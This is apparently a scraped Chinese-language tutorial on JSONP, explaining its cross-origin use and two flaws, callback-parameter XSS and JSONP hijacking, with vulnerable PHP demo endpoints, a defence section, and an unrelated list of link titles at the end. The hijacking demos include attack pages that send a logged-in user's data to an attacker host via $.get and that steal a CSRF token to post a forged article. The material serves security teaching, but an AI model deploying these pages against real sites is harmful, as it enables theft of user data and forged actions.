当前位置: 首页 > news >正文

jsp网站建设 书籍怎么弄自己的网站

jsp网站建设 书籍,怎么弄自己的网站,浙江政务服务网登录入口,企业邮箱有什么用JSONP 介绍 jsonp是一种协议#xff0c;准确的说#xff0c;他是json的一种使用模式#xff0c;为了解决Json受同源策略限制的问题。 基本语法 JSONP的基本语法为#xff1a;callback({“name”:”test”, “msg”:”success”}) 常见的例子包括函数调用#xff08;如…JSONP 介绍 jsonp是一种协议准确的说他是json的一种使用模式为了解决Json受同源策略限制的问题。 基本语法 JSONP的基本语法为callback({“name”:”test”, “msg”:”success”}) 常见的例子包括函数调用如callback({“a”:”b”})或变量赋值var a{JSON data}。 应用场景 json 假设在192.168.7.166下放了一个test.json { username: Sentiment, password: 123456 }这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件 script src./jquery.js/script script $.ajax({url: http://192.168.7.166/test.json,type:get, dataType: json,success: function (data) {console.log(data);}}) /script此时该HTML文件和test.json同域所以HTML文件能够正常获取json文件的内容。 若将test.json放到192.168.43.136下HTML与test.json不同域这时去访问jsonp.html发现受同源策略限制被拒绝 这时就需要用到jsonp来解决这个问题 jsonp jsonp简单地说就是利用script标签的src属性能够发起跨域请求的原理来实现的。 因此只需将test.json中的内容按照javascript规范去规定便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法并带入参数即可这也就是jsonp的核心原理。 body scriptfunction callback(data){alert(name:data.username passwrod:data.password);} /script script srchttp://192.168.43.136/test.json/script /body在test.json中按照javascript代码规范调用callback函数并将数据作为参数传入 callback({ username: Sentim, password: 123456 })此时请求jsonp.html成功请求跨域json JSONP跨域漏洞 JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。 callback自定义导致的XSS 我们知道在JSONP跨域中我们是可以传入一个函数名的参数如callback然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。 如果JSONP端点对于用于传入的函数名参数callback处理不当如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时就会导致XSS漏洞的产生。 jsonp.php ?php if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456});; } else {echo No callback param.; } ?请求后触发xss此时发现php默认的content-type为text/html 起初使用Java部署了这个环境但由于未对Servlet容器的content-type进行默认设置默认为null导致没有弹窗 其它content-type类型 经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS JSONP劫持 因为jsonp实现了跨域资源访问如果获取的数据能够成为下一步操作的凭证那么便可以引起jsonp劫持。 Demo1— 窃取用户信息 设置模拟用户登录页面 login.php ?php error_reporting(0); session_start(); $name $_GET[name]; $pwd $_GET[pwd]; if($nameadmin $pwd admin || $nameguest $pwd guest){$_SESSION[name] $name; } if (isset($_GET[logout])) {if ($_GET[logout] 1) {unset($_SESSION[name]);} } echo a hrefhttp://victim.com/info.php?callbackjsonp用户信息/abr; echo a hrefhttp://victim.com/main.php?logout1退出登录/abr data-tomark-pass; if(!$_SESSION[name]){echo htmlheadtitle登录/titlemeta charsetutf-8/headbodyform actionlogin.php methodget用户名input typetext namename密码input typepassword namepwdinput typesubmit namesubmit valuelogin/form/body/html; }else{echo 欢迎您, .$_SESSION[name].br data-tomark-pass; } ?查询信息页面 info.php ?php header(Content-type: application/json); error_reporting(0); session_start(); $callback $_GET[callback]; if($_SESSION[name] admin){echo $callback.({id:1,name:Sentiment}); } elseif($_SESSION[name] guest) {echo $callback.({id:2,name:guest}); } else {echo $callback.获取个人信息失败; } ?当用户登录后访问info.php便能查询到自己的信息此时构造恶意html html headtitlelol/titlemeta charsetutf-8 /head script srchttps://code.jquery.com/jquery-3.6.0.min.js/script scriptfunction jsonp_hack(v){alert(JSONP hijacking);var h ;for(var key in v){var a ;a key : v[key] ,;h a;}alert(h);$.get(http://attack.com/index.html?valueh);} /script script srchttp://victim.com/info.php?callbackjsonp_hack/script bodyh1Welcome/h1 /body /html引导用户访问后成功被jsonp劫持 Demo2— 劫持token 下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。 add_article.php放置于目标服务器中功能是发表文章前提是token值成功校验通过 ?php if(!empty($_POST[token])){$csrf_token $_POST[token];$title $_POST[title];$content $_POST[content];if ($csrf_token jsonp_test){echo 文章发表成功~./br;echo $title./br;echo $content;}else{echo csrf token error;} } else {echo no token; } ?token.php ?php header(Content-type: application/json); if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456, token : jsonp_test});; } else {echo No callback param.; } ?attack.html攻击者用于诱使用户访问的文件放置于攻击者服务器中用于访问目标JSONP端点获取token之后再带上该token向目标服务器的add_article.php发起请求来发表文章 html head titleJSONP Hijacking/title meta charsetutf-8 /head body form actionhttp://victim.com/add_article.php methodPOST idcsrfsend input typehidden namecontent valueHacked by Sentiment! input typehidden nametitle valueOops! input typehidden idtoken nametoken value /form script typetext/javascript function exp(obj){console.log(obj);var token obj[token];document.getElementById(token).value token;document.getElementById(csrfsend).submit(); } /script script typetext/javascript srchttp://victim.com/token.php?callbackexp/script /body /html引导用户访问后成功劫持token 防御 若可行则使用CORS替换JSONP实现跨域功能应用CSRF防御措施来调用JSON文件限制Referer 、部署Token等严格设置Content-Type及编码Content-Type: application/json; charsetutf-8 把回调函数加入到白名单 参考链接 http://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ https://zhengbao.wang/jsonp%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/ JSONP与JSONP劫持漏洞的学习 - 先知社区 (aliyun.com)
http://www.huolong8.cn/news/281932/

相关文章:

  • 山东企业建站系统费用推广文章的步骤
  • 营销型网站建设公司哪家建设网站视频提取
  • 中小企业电子商务网站建设wordpress顶部图像使用小工具
  • 分类信息网站开发报价wordpress切换语言实现
  • 广东手机网站建设费用招聘网站建设维护
  • wordpress如何备份 网站包头学做网站
  • 网站下载软件入口新公司注册流程及费用
  • 怎样把已经有的网站做推广个人适合做的网站
  • 旅游企业网站开发网站的布局和配色
  • 进行目的地网站建设国外免费搭建网站
  • 专业素材网站古塔网站建设
  • 06年可以做相册视频的网站wordpress中英文菜单
  • 开平做网站成品短视频软件推荐下载免费
  • 中国网站建设公司有哪些方面凡科做的网站为什么搜不到
  • 泰康人寿保险官方网站wordpress上传到虚机
  • 南宁的网站建设百度app安装免费下载
  • 重庆公司网站建设步骤seo网站设计联系方式
  • 建设网站如何索要素材网站建设详细描述产品的是什么意思
  • 怎样建设网站论文在大网站做网页广告需要多少钱
  • 卡密网站怎么做服装公司网站建设策划书
  • 使用iis搭建网站百度新站关键词排名
  • 中职国示范建设网站网站建设服务那家好
  • 有哪些做兼职的网站网站搭建徐州百度网络
  • 企业网站怎么建立做外贸推广的公司
  • 六安建设厅网站2023年国家免费技能培训
  • 大型网站建设定制开发建网站多少钱 万户
  • 如何做学校网站appdw网页制作软件免费
  • 网站策划薪资ip直接访问网站 备案
  • 天津网站建设方案维护做网站备案时间
  • 网站非法收录用户信息开发公司年终工作总结ppt